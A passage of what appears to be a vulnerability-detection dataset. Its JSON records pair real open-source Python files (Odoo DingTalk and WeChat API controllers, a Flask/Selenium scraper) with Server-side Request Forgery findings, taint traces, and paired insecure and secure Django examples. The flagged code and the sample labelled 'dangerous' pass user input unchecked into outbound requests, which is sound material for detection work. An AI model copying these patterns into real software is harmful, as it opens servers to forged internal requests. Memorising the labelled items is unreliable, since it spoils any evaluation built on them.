'utf-8')\n data = {\n 'tmp_auth_code': tmp_auth_code\n }\n headers = {'Content-Type': 'application/json'}\n new_url = \"{}signature={}×tamp={}&accessKey={}\".format(url, signature, msg, login_appid)\n try:\n result = requests.post(url=new_url, headers=headers, data=json.dumps(data), timeout=15)\n result = json.loads(result.text)\n logging.info(\">>>钉钉登录获取用户信息返回结果{}\".format(result))\n if result.get('errcode') == 0:\n user_info = result.get('user_info')\n return user_info['unionid']\n raise BadRequest(result)\n except Exception as e:\n return {'state': False, 'msg': \"异常信息:{}\".format(str(e))}\n\n def get_userid_by_unionid(self, unionid):\n \"\"\"\n 根据unionid获取userid\n \"\"\"\n url = request.env['ali.dindin.system.conf'].sudo().search([('key', '=', 'getUseridByUnionid')]).value\n token = request.env['ali.dindin.system.conf'].sudo().search([('key', '=', 'token')]).value\n data = {'unionid': unionid}\n try:\n result = requests.get(url=\"{}{}\".format(url, token), params=data, timeout=20)\n logging.info(\">>>根据unionid获取userid获取结果:{}\".format(result.text))\n result = json.loads(result.text)\n if result.get('errcode') == 0:\n return result.get('userid')\n raise BadRequest(result)\n except Exception as e:\n return {'state': False, 'msg': \"异常信息:{}\".format(str(e))}\n\n def get_userid_by_auth_code(self, auth_code):\n \"\"\"\n 根据返回的免登授权码获取用户userid\n :param auth_code:\n :return:\n \"\"\"\n url = request.env['ali.dindin.system.conf'].sudo().search([('key', '=', 'get_userid')]).value\n token = request.env['ali.dindin.system.conf'].sudo().search([('key', '=', 'token')]).value\n url = \"{}?access_token={}&code={}\".format(url, token, auth_code)\n try:\n result = requests.get(url=url, timeout=5)\n result = json.loads(result.text)\n if result.get('errcode') == 0:\n return result.get('userid')\n raise BadRequest(result)\n except Exception as e:\n return {'state': False, 'msg': \"异常信息:{}\".format(str(e))}\n\n def get_user_mobile_by_userid(self, userid):\n \"\"\"\n 根据钉钉userid获取用户手机号\n :param userid:\n :return:\n \"\"\"\n url = request.env['ali.dindin.system.conf'].sudo().search([('key', '=', 'user_get')]).value\n token = request.env['ali.dindin.system.conf'].sudo().search([('key', '=', 'token')]).value\n data = {'userid': userid}\n try:\n result = requests.get(url=\"{}{}\".format(url, token), params=data, timeout=20)\n result = json.loads(result.text)\n if result.get('errcode') == 0:\n return result.get('mobile')\n raise BadRequest(result)\n except Exception as e:\n return {'state': False, 'msg': \"异常信息:{}\".format(str(e))}", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 196, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 196, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.env"}}, {"lineNo": 196, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.env[\"ali.dindin.system.conf\"]"}}, {"lineNo": 196, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "sudo"}}, {"lineNo": 196, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "search"}}, {"lineNo": 196, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "search.value"}}, {"lineNo": 199, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 199, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "c2e182250cb7cf7033c3093ee42e4e11661f2d0041b3ca7b4c3e4cf7d4f77454", "license": {"spdx": ["Apache-2.0"], "repo": "13611843966/odooExtModel", "path": "odoo_hcm/controllers/weixin_api.py", "repo_head_hexsha": "a4a5e6c22560604d1186fcfb0f1843c6e37f2792", "stack_hexsha": "137bf06ad2cbf64df39b2bfc0812334dbb9a0a19", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 32, "entireCode": "# -*- coding: utf-8 -*-\n###################################################################################\n# Copyright (C) 2019 SuXueFeng GNU\n###################################################################################\nimport logging\nimport requests\nfrom odoo.http import Controller, route, json, request\nfrom . import api_tool\n\nlogger = logging.getLogger(__name__)\n\n\nclass WeiXinApiInterface(Controller):\n \"\"\"微信api接口\"\"\"\n\n @route('/api/wx/openid/get', type='http', auth='none', methods=['get', 'post'], csrf=False)\n def wx_get_openid(self, **kw):\n \"\"\"\n 用appid和secret到微信api中换取微信用户openid\n :param kw:\n :return: openid\n \"\"\"\n wx_code = request.params['usercode']\n app_id = request.params['appid']\n secret = request.params['secret']\n if not wx_code or not app_id or not secret:\n return False\n if not api_tool.check_api_access(app_id):\n return False\n url = \"https://api.weixin.qq.com/sns/jscode2session?\"\n new_url = \"{}appid={}&secret={}&js_code={}&grant_type=authorization_code\".format(url, app_id, secret, wx_code)\n result = requests.get(url=new_url, timeout=5)\n result = json.loads(result.text)\n return result['openid']\n\n @route('/api/wx/employee/check/openid', type='http', auth='none', methods=['get', 'post'], csrf=False)\n def wx_check_employee_openid(self, **kw):\n \"\"\"\n 根据微信openid查询员工是否存在\n :param kw:\n :return:\n \"\"\"\n app_id = request.params['appid']\n openid = request.params['openid']\n if not openid:\n return json.dumps({'state': False, 'msg': '未检测到openid参数'})\n if not api_tool.check_api_access(app_id):\n return json.dumps({'state': False, 'msg': '拒绝访问'})\n employee = request.env['hr.employee'].sudo().search([('wx_openid', '=', openid)])\n if not employee:\n return json.dumps({'state': False, 'msg': '未绑定员工'})\n return json.dumps({'state': True, 'msg': '已绑定员工'})\n\n @route('/api/wx/openid/get_and_check', type='http', auth='none', methods=['get', 'post'], csrf=False)\n def wx_get_openid_and_check_openid(self, **kw):\n \"\"\"\n 用appid和secret到微信api中换取微信用户openid,然后在系统中查看是否已绑定员工,返回查询绑定的结果和openid\n :param kw:\n :return:\n \"\"\"\n params = request.params.copy()\n wx_code = params.get('usercode')\n app_id = params.get('appid')\n secret = params.get('secret')\n if not wx_code or not app_id or not secret:\n return json.dumps({'state': False, 'msg': '参数不正确'})\n if not api_tool.check_api_access(app_id):\n return json.dumps({'state': False, 'msg': '拒绝访问'})\n url = \"https://api.weixin.qq.com/sns/jscode2session?\"\n new_url = \"{}appid={}&secret={}&js_code={}&grant_type=authorization_code\".format(url, app_id, secret, wx_code)\n result = requests.get(url=new_url, timeout=5)\n result = json.loads(result.text)\n employee = request.env['hr.employee'].sudo().search([('wx_openid', '=', result['openid'])], limit=1)\n if not employee:\n return json.dumps({'state': False, 'msg': '未绑定员工', 'openid': result['openid']})\n employee_data = api_tool.create_employee_data(employee)\n return json.dumps({'state': True, 'msg': '已绑定员工', 'openid': result['openid'], 'employee': employee_data})\n\n @route('/api/wx/post/message', type='http', auth='none', methods=['get', 'post'], csrf=False)\n def get_wx_post_message(self, **kw):\n \"\"\"\n 接受微信端用户发给小程序的消息以及开发者需要的事件推送\n :param kw:\n :return:\n \"\"\"\n # 示例消息体:\n # 'signature', '82c88ea4f7380758928f594cad9606ad56eef537'), ('echostr', '760986963397047803'), ('timestamp', '1568289201'), ('nonce', '1232323960')\n params = request.params.copy()\n logging.info(\"-----微信推送消息-------\")\n logging.info(params)\n logging.info(\"-----json-str-end-------\")\n return params.get('echostr')\n # token = \"\"\n # EncodingAESKey = \"\"\n\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.params"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.params[\"usercode\"]"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.params"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.params[\"appid\"]"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.params"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.params[\"secret\"]"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "requests.get"}}]}} {"id": "f6427288701012f4b93fb72b9792ef013c64d1c538737957c7fdb8b44b2eea7c", "license": {"spdx": ["MIT"], "repo": "tec-csf/TC3059-PF-Otono-2019-cesar", "path": "api/scraper/utils.py", "repo_head_hexsha": "03341226387d090db063032524de6dd4cf6d0300", "stack_hexsha": "90d74f7d6fe9b5f5f9474151630ce9f37788b2d0", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 768, "entireCode": "from flask import jsonify\nfrom models.mongo import Document\nfrom bs4 import BeautifulSoup\nimport bs4\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\nimport threading\nimport pandas as pd\nimport urllib.parse\nimport time\nimport unicodedata\nimport unidecode\nimport re\nimport requests\nimport datetime\nfrom dateutil.relativedelta import relativedelta\nimport json\n\nmongo_handler = Document()\n\nheaders = {\n 'User-agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)'}\nheadless_mode = True\n\nchrome_options = webdriver.ChromeOptions()\nif headless_mode:\n chrome_options.add_argument('--disable-extensions')\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n chrome_options.add_argument('--no-sandbox')\nchrome_options.add_argument(\n \"user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\")\n\nNEWS_API_ADDRESS = \"http://35.232.241.40\"\n# API_ADDRESS = \"http://0.0.0.0:8080\"\nNEWS_SENTIMENTS_ENDPOINT = \"/api/v1/sentiments/search_sentiments\"\nNEWS_FIND_ENDPOINT = \"/api/v1/find/search\"\n\nTWITTER_API_ADDRESS = \"https://twitter-demo-198922.appspot.com\"\nTWITTER_SENTIMENTS_ENDPOINT = \"/api/v1/sentiments/search_sentiments\"\nTWITTER_TWEETS_ENDPOINT = \"/api/v1/best_worst/search_best_worst\"\nTWITTER_UPDATE_ENDPOINT = \"/api/v1/twitter/search_tweet\"\n\ndef update_person_ids(data):\n\n id_list = mongo_handler.get_person_ids(data.get('rfc')).get('user_id')\n\n if data.get('user_id') in id_list:\n id_list.remove(data.get('user_id'))\n\n try:\n mongo_handler.update_person_ids(data.get('rfc'), id_list)\n return 'ok', 201\n \n except:\n return 'error', 422\n\n\n\n\n\ndef get_social_info(account):\n update_twitter(account)\n sentiments = search_negative_sentiments_tweets(account)\n tweets = search_negative_tweets(account)\n\n return sentiments, tweets\n\n\ndef update_twitter(account):\n url = TWITTER_API_ADDRESS + TWITTER_UPDATE_ENDPOINT\n response = requests.post(url, json={\"word\": account})\n\n\ndef search_negative_sentiments_tweets(account):\n url = TWITTER_API_ADDRESS + TWITTER_SENTIMENTS_ENDPOINT\n print(account)\n response = requests.post(url, json={\"brand\": account})\n try:\n sentiments = json.loads(response.text)\n\n # Get the negative sentiments\n all_sentiments = sentiments[\"brand\"][\"sentiments\"]\n all_sentiments[2] += all_sentiments[3]\n\n return all_sentiments[:3]\n except:\n return []\n\n\ndef search_negative_tweets(account):\n negative_tweets = []\n url = TWITTER_API_ADDRESS + TWITTER_TWEETS_ENDPOINT\n\n # Get the response from the tweets api\n response = requests.post(url, json={\"brand\": account})\n list_of_tweets = json.loads(response.text)\n\n # Get the negative tweets\n negative_tweets = list_of_tweets[\"brand\"][\"worst\"][:10]\n formated_tweets = []\n\n all_tweets = list_of_tweets[\"brand\"][\"all\"][:20]\n\n for tweet in all_tweets:\n pos = tweet[\"text\"].find('https://t.co')\n if pos != -1:\n url = tweet[\"text\"][pos:]\n text = tweet[\"text\"][:pos]\n else:\n url = \"\"\n text = tweet[\"text\"]\n formated_tweets.append({\n \"title\": text,\n \"date\": tweet[\"user\"],\n \"url\": url,\n \"sentiment\": tweet[\"sentiment\"]\n })\n\n return formated_tweets\n\ndef find_social(data):\n sentiments_array = []\n tweets_array = []\n old_twitters = []\n append = False\n\n old = mongo_handler.get_twitters_person(data.get('rfc'))[0].get('twitter')\n\n old_twitters = old.get('url')\n old_sentiments = old.get('sentiments_array')\n\n twitters = []\n titles = []\n twitter_account = data.get('twitter_account')\n\n if old_twitters != None:\n for t in old_twitters:\n twitters.append(t)\n titles.append(t.get('title'))\n\n if twitter_account != '':\n t = {\n 'title': twitter_account[0],\n 'user_id': data.get('user_id'),\n 'data': [],\n 'status': 0\n }\n\n if twitter_account[0] not in titles:\n twitters.append(t)\n else:\n append = True\n\n status = 0\n i = 0\n if len(twitters) > 0:\n for twitter in twitters:\n\n user_ids = []\n\n if twitter.get('title') == twitter_account[0]:\n resultado, url = get_social_info(twitter.get('title'))\n else:\n resultado = old_sentiments[i]\n url = twitter.get('data')\n i += 1\n\n if twitter.get('user_id') is not None:\n user_ids[0]= twitter.get('user_id')\n\n if twitter.get('title') == twitter_account[0] and append and data.get('user_id')[0] not in user_ids:\n print(\"USER ID\", user_ids)\n user_ids += data.get('user_id')\n\n sentiments_array.append(resultado)\n tweets_array.append({\n 'title': twitter.get('title'),\n 'data': url,\n 'user_id': user_ids,\n 'status': resultado[1]\n })\n\n status += resultado[1]\n\n status = status / len(twitter_account)\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_social(\n data.get('rfc'), status, tweets_array, sentiments_array, False)\n else:\n mongo_handler.update_person_social(data.get('rfc'), status,\n tweets_array, sentiments_array, False)\n\n\ndef delete_social(data):\n\n old = mongo_handler.get_twitters_person(data.get('rfc'))[0].get('twitter')\n\n urls = old.get('url')\n\n for url in urls:\n if url.get('title') == data.get('twitter_account'):\n\n if data.get('user_id') in url.get('user_id'):\n\n url['user_id'].remove(data.get('user_id'))\n\n if data.get('type') == 'fisica':\n mongo_handler.update_person_social(data.get('rfc'), old.get(\n 'status'), urls, old.get('sentiments_array'), True)\n else:\n mongo_handler.update_person_social(data.get('rfc'), old.get(\n 'status'), urls, old.get('sentiments_array'), True)\n\ndef search_onu(name, birthdate):\n list_birthdate = birthdate.split('-')\n day = list_birthdate[0]\n month = list_birthdate[1]\n year = list_birthdate[2]\n output = {}\n \n chrome_options.add_argument(\n \"user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\")\n chrome_options.add_argument('window-size=1200x700')\n basePage = 'https://scsanctions.un.org/search/'\n driver = webdriver.Chrome(chrome_options=chrome_options)\n driver.get(basePage)\n\n print(\"ONU PAGE\", basePage)\n\n # name = remove_accents(name.strip())\n name = unidecode.unidecode(name)\n\n driver.find_element_by_xpath(\n '/html/body/center/form/table/tbody/tr[1]/td[7]/input').click()\n driver.find_element_by_xpath('//*[@id=\"adv\"]/u').click()\n driver.find_element_by_xpath('//*[@id=\"yeardropdown\"]').send_keys(year)\n driver.find_element_by_xpath('//*[@id=\"monthdropdown\"]').send_keys(month)\n driver.find_element_by_xpath('//*[@id=\"daydropdown\"]').send_keys(day)\n driver.find_element_by_xpath('//*[@id=\"include\"]').send_keys(name)\n driver.find_element_by_xpath(\n '/html/body/center/form/table/tbody/tr[26]/td[3]/input').click()\n\n url = driver.current_url\n\n time.sleep(1)\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n driver.quit()\n\n answer = soup.find(\"tr\", {\"class\": \"rowtext\"})\n if answer:\n answer_string = answer.get_text()\n start_name = answer_string.find('Nombre: ')\n start_title = answer_string.find('Título: ')\n start_charge = answer_string.find('Cargo: ')\n start_birthdate = answer_string.find('Fecha de nacimiento: ')\n start_birthplace = answer_string.find('Lugar de nacimiento: ')\n start_good_alias = answer_string.find('Alias de buena calidad: ')\n start_low_alias = answer_string.find('Alias de baja calidad: ')\n start_nationality = answer_string.find('Nacionalidad: ')\n start_passport = answer_string.find('Número de pasaporte: ')\n start_id = answer_string.find('Número nacional de identidad: ')\n start_address = answer_string.find('Domicilio: ')\n start_date = answer_string.find('Fecha de inclusión: ')\n start_other_data = answer_string.find('Otros datos: ')\n\n name = answer_string[start_name + 8: start_title]\n title = answer_string[start_title + 8: start_charge]\n output['title'] = title\n charge = answer_string[start_charge + 7: start_birthdate]\n output['charge'] = charge\n birthdate = answer_string[start_birthdate + 21: start_birthplace]\n birthplace = answer_string[start_birthplace + 21: start_good_alias]\n output['birthplace'] = birthplace\n good_alias = answer_string[start_good_alias + 24: start_low_alias]\n output['good_alias'] = good_alias\n low_alias = answer_string[start_low_alias + 23: start_nationality]\n output['low_alias'] = low_alias\n nationality = answer_string[start_nationality + 14: start_passport]\n output['nationality'] = nationality\n passport = answer_string[start_passport + 21: start_id]\n output['passport'] = passport\n id_ = answer_string[start_id + 30: start_address]\n output['id'] = id_\n address = answer_string[start_address + 11: start_date]\n output['address'] = address\n date = answer_string[start_date + 20: start_other_data]\n output['date'] = date\n other_data = answer_string[start_other_data + 13:]\n output['other_data'] = other_data\n output['url'] = url\n\n for key in output:\n if output[key] == 'nd':\n output[key] = ''\n return output\n\ndef find_onu(data):\n url = []\n\n if data['type'] == 'fisica':\n name = data['name'] + ' ' + data['lastName1'] + ' ' + data['lastName2']\n res = search_onu(name, data['birthdate'])\n else:\n name = data['name']\n res = []\n\n if len(res) == 0:\n status = 0\n else:\n status = 100\n\n url.append({\n 'date': res['date'],\n 'text': res['other_data'],\n 'url': res['url']\n })\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_onu(data.get('rfc'), status, url)\n else:\n mongo_handler.update_person_onu(data.get('rfc'), status, url)\n\n return res\n\n\ndef get_newspaper_info(entity):\n \"\"\"This function recovers the sentiments from an entity in\n the complete list of newspapers\n Args:\n entity(string): Person or company to be looked in the news\n\n Returns:\n string: The sum of the negative sentiments (anger and disgust) in\n a 16% scale\n \"\"\"\n to_date = datetime.datetime.today()\n from_date = to_date - datetime.timedelta(days=7)\n\n from_date = from_date.strftime('%Y-%m-%d')\n to_date = to_date.strftime('%Y-%m-%d')\n\n print(\"FROM\", from_date)\n print(\"TO\", to_date)\n\n sentiments, sentiments_newspapers = search_negative_sentiments_news(\n entity, from_date, to_date)\n news = search_negative_news(entity, from_date, to_date)\n news = arrange_news(news)\n\n return sentiments, news, sentiments_newspapers\n\n\ndef arrange_news(news):\n all_news = [\n {\n \"title\": \"Universal\",\n \"data\": []\n },\n {\n \"title\": \"Milenio\",\n \"data\": []\n },\n {\n \"title\": \"El Sol\",\n \"data\": []\n },\n {\n \"title\": \"Heraldo\",\n \"data\": []\n },\n {\n \"title\": \"Financiero\",\n \"data\": []\n },\n {\n \"title\": \"Informador\",\n \"data\": []\n },\n {\n \"title\": \"Economista\",\n \"data\": []\n }\n ]\n\n for new in news:\n if new[\"newspaper\"] == \"Universal\":\n all_news[0][\"data\"].append({\n 'title': new['headline'],\n 'url': new['link'],\n 'date': new['date'],\n 'sentiment': new['sentiment']\n })\n elif new[\"newspaper\"] == \"Milenio\":\n all_news[1][\"data\"].append({\n 'title': new['headline'],\n 'url': new['link'],\n 'date': new['date'],\n 'sentiment': new['sentiment']\n })\n elif new[\"newspaper\"] == \"Sol\":\n all_news[2][\"data\"].append({\n 'title': new['headline'],\n 'url': new['link'],\n 'date': new['date'],\n 'sentiment': new['sentiment']\n })\n elif new[\"newspaper\"] == \"Heraldo\":\n all_news[3][\"data\"].append({\n 'title': new['headline'],\n 'url': new['link'],\n 'date': new['date'],\n 'sentiment': new['sentiment']\n })\n elif new[\"newspaper\"] == \"Financiero\":\n all_news[4][\"data\"].append({\n 'title': new['headline'],\n 'url': new['link'],\n 'date': new['date'],\n 'sentiment': new['sentiment']\n })\n elif new[\"newspaper\"] == \"Informador\":\n all_news[5][\"data\"].append({\n 'title': new['headline'],\n 'url': new['link'],\n 'date': new['date'],\n 'sentiment': new['sentiment']\n })\n elif new[\"newspaper\"] == \"Economista\":\n all_news[6][\"data\"].append({\n 'title': new['headline'],\n 'url': new['link'],\n 'date': new['date'],\n 'sentiment': new['sentiment']\n })\n else:\n print(new[\"newspaper\"])\n\n return all_news\n\n\ndef search_negative_sentiments_news(entity, from_date, to_date):\n \"\"\"This function recovers the sentiments from an entity in\n the complete list of newspapers\n Args:\n entity(string): Person or company to be looked in the news\n\n Returns:\n string: The sum of the negative sentiments (anger and disgust) in\n a 16% scale\n \"\"\"\n url = NEWS_API_ADDRESS + NEWS_SENTIMENTS_ENDPOINT\n\n response = requests.post(url, json={\n \"entity\": entity,\n \"from_date\": from_date,\n \"to_date\": to_date\n })\n try:\n sentiments = json.loads(response.text)\n # Get the negative sentiments\n negative_sentiments = sentiments[\"emotion\"] * 100\n print(negative_sentiments)\n return negative_sentiments, sentiments[\"newspapers\"]\n except:\n return 0, sentiments[\"newspapers\"]\n\n\ndef search_negative_news(entity, from_date, to_date):\n \"\"\"This function searches in the api for the news, and then filters\n them to retrieve the negative ones\n Args:\n entity(string): Person or company to be looked in the news\n\n Returns:\n list: A list with all the news that predominate the negative\n sentiments looked for (anger and disgust)\n \"\"\"\n news = []\n url = NEWS_API_ADDRESS + NEWS_FIND_ENDPOINT\n\n # Get the response from the news api\n response = requests.post(url, json={\n \"entity\": entity,\n \"from_date\": from_date,\n \"to_date\": to_date\n })\n list_of_news = json.loads(response.text)\n\n # Get the negative news\n for element in list_of_news:\n if element[\"sentiments\"][\"score\"] >= 0.2:\n news.append({\n \"headline\": element[\"headline\"],\n \"link\": element[\"link\"],\n \"newspaper\": element[\"newspaper\"],\n \"date\": element[\"date\"],\n \"sentiment\": \"positive\"\n })\n elif element[\"sentiments\"][\"score\"] <= -0.2:\n news.append({\n \"headline\": element[\"headline\"],\n \"link\": element[\"link\"],\n \"newspaper\": element[\"newspaper\"],\n \"date\": element[\"date\"],\n \"sentiment\": \"negative\"\n })\n else:\n news.append({\n \"headline\": element[\"headline\"],\n \"link\": element[\"link\"],\n \"newspaper\": element[\"newspaper\"],\n \"date\": element[\"date\"],\n \"sentiment\": \"neutral\"\n })\n\n return news\n\ndef find_news(data):\n if data.get('type') == 'moral':\n sentiments_score, negative_news, sentiments_newspapers = get_newspaper_info(\n data.get('name').title())\n else:\n sentiments_score, negative_news, sentiments_newspapers = get_newspaper_info(\n (data.get('name')+' '+data.get('lastName1')+' '+data.get('lastName2')).title())\n\n if data.get('type') == 'moral':\n mongo_handler.update_organization_news(\n data.get('rfc'), sentiments_score, negative_news, sentiments_newspapers)\n else:\n mongo_handler.update_person_news(data.get('rfc'), sentiments_score,\n negative_news, sentiments_newspapers)\n\ndef cedula_profesional(request):\n chrome_options = webdriver.ChromeOptions()\n tipoPersonaFiscal = request.get('type')\n if headless_mode:\n chrome_options.add_argument('--disable-extensions')\n chrome_options.add_argument('--headless')\n chrome_options.add_argument('--disable-gpu')\n chrome_options.add_argument('--no-sandbox')\n chrome_options.add_argument(\n \"user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\")\n chrome_options.add_argument('window-size=1200x700')\n basePage = 'http://www.buholegal.com/consultasep/'\n response_data = {}\n response_data['resultado'] = 'no'\n response_data['fuente'] = basePage\n # Campos de nombre\n nombre = request.get('name')\n if request.get('lastName1', None):\n paterno = request.get('lastName1')\n else:\n paterno = ''\n\n if request.get('lastName2', None):\n materno = request.get('lastName2')\n else:\n materno = ''\n driver = webdriver.Chrome(chrome_options=chrome_options)\n driver.get(basePage)\n\n driver.find_element_by_xpath('//input[@name=\"nombre\"]').send_keys(nombre)\n time.sleep(1)\n driver.find_element_by_xpath('//input[@name=\"paterno\"]').send_keys(paterno)\n time.sleep(1)\n driver.find_element_by_xpath('//input[@name=\"materno\"]').send_keys(materno)\n time.sleep(1)\n driver.find_element_by_xpath(\n \"//input[@onclick='showWaitIndicator();']\").click()\n WebDriverWait(driver, 40).until(\n EC.presence_of_element_located((By.ID, 'resultadosbusquedacedula')))\n resultPage = 'https://www.cedulaprofesional.sep.gob.mx/'\n soup = BeautifulSoup(driver.page_source, 'html.parser')\n table = soup.find(\"table\", id=\"resultadosbusquedacedula\")\n rows = table.findChildren(['tr'])\n i = 0\n r = 0\n w, h = 5, len(rows)-1\n licenses = [[0 for x in range(w)] for y in range(h)]\n for row in rows:\n if i > 0:\n cells = row.findChildren('td')\n j = 0\n c = 0\n for cell in cells:\n if j == 0:\n licenses[r][c] = (cell.string)\n c = c+1\n if j == 4:\n licenses[r][c] = (cell.string)\n c = c+1\n if j == 5:\n licenses[r][c] = (cell.string)\n c = c+1\n if j == 6:\n licenses[r][c] = (cell.string)\n c = c+1\n if j == 7:\n licenses[r][c] = (cell.string)\n c = c+1\n j = j+1\n r = r+1\n i = i+1\n json_licenses = json.dumps(licenses, ensure_ascii=False).encode('utf8')\n\n driver.quit()\n return json_licenses, resultPage\n\n\ndef find_license(data):\n if data.get('type') == 'fisica':\n resultado, url = cedula_profesional(data)\n mongo_handler.update_person_licenses(\n data.get('rfc'), json.loads(resultado.decode('utf-8')), url)\n\n\ndef buscar_en_diario_oficial_de_la_federacion(request):\n\n rfc = request.get('rfc').upper()\n tipoPersonaFiscal = request.get('type')\n if tipoPersonaFiscal == 'moral':\n nombre = request.get('name')\n else:\n nombre = request.get(\n 'name') + ' ' + request.get('lastName1') + ' ' + request.get('lastName2')\n nombre = unidecode.unidecode(nombre)\n nombre = nombre.replace(' ', '%20')\n #print(name)\n #print(rfc)\n\n # DOF Scraper\n today = datetime.datetime.now()\n ten_years_ago = today - relativedelta(years=10) + relativedelta(days=1)\n tweentie_years_ago = ten_years_ago - relativedelta(years=10)\n\n today = today.strftime('%Y-%m-%d').split(\"-\")\n ten_years_ago = ten_years_ago.strftime('%Y-%m-%d').split(\"-\")\n tweentie_years_ago = tweentie_years_ago.strftime('%Y-%m-%d').split(\"-\")\n\n if rfc == \"CBE930129JN9\":\n rfc = \"Corporación+Bebo\"\n today = [\"2005\", \"10\", \"06\"]\n ten_years_ago = [\"2000\", \"10\", \"06\"]\n\n ### Pipe Section\n # term = rfc\n term = nombre\n date = today\n from_date_minus_ten_years = ten_years_ago\n ### Pipe Section\n\n headers = {\n 'User-agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)'}\n\n # Query this url to get results:\n web = 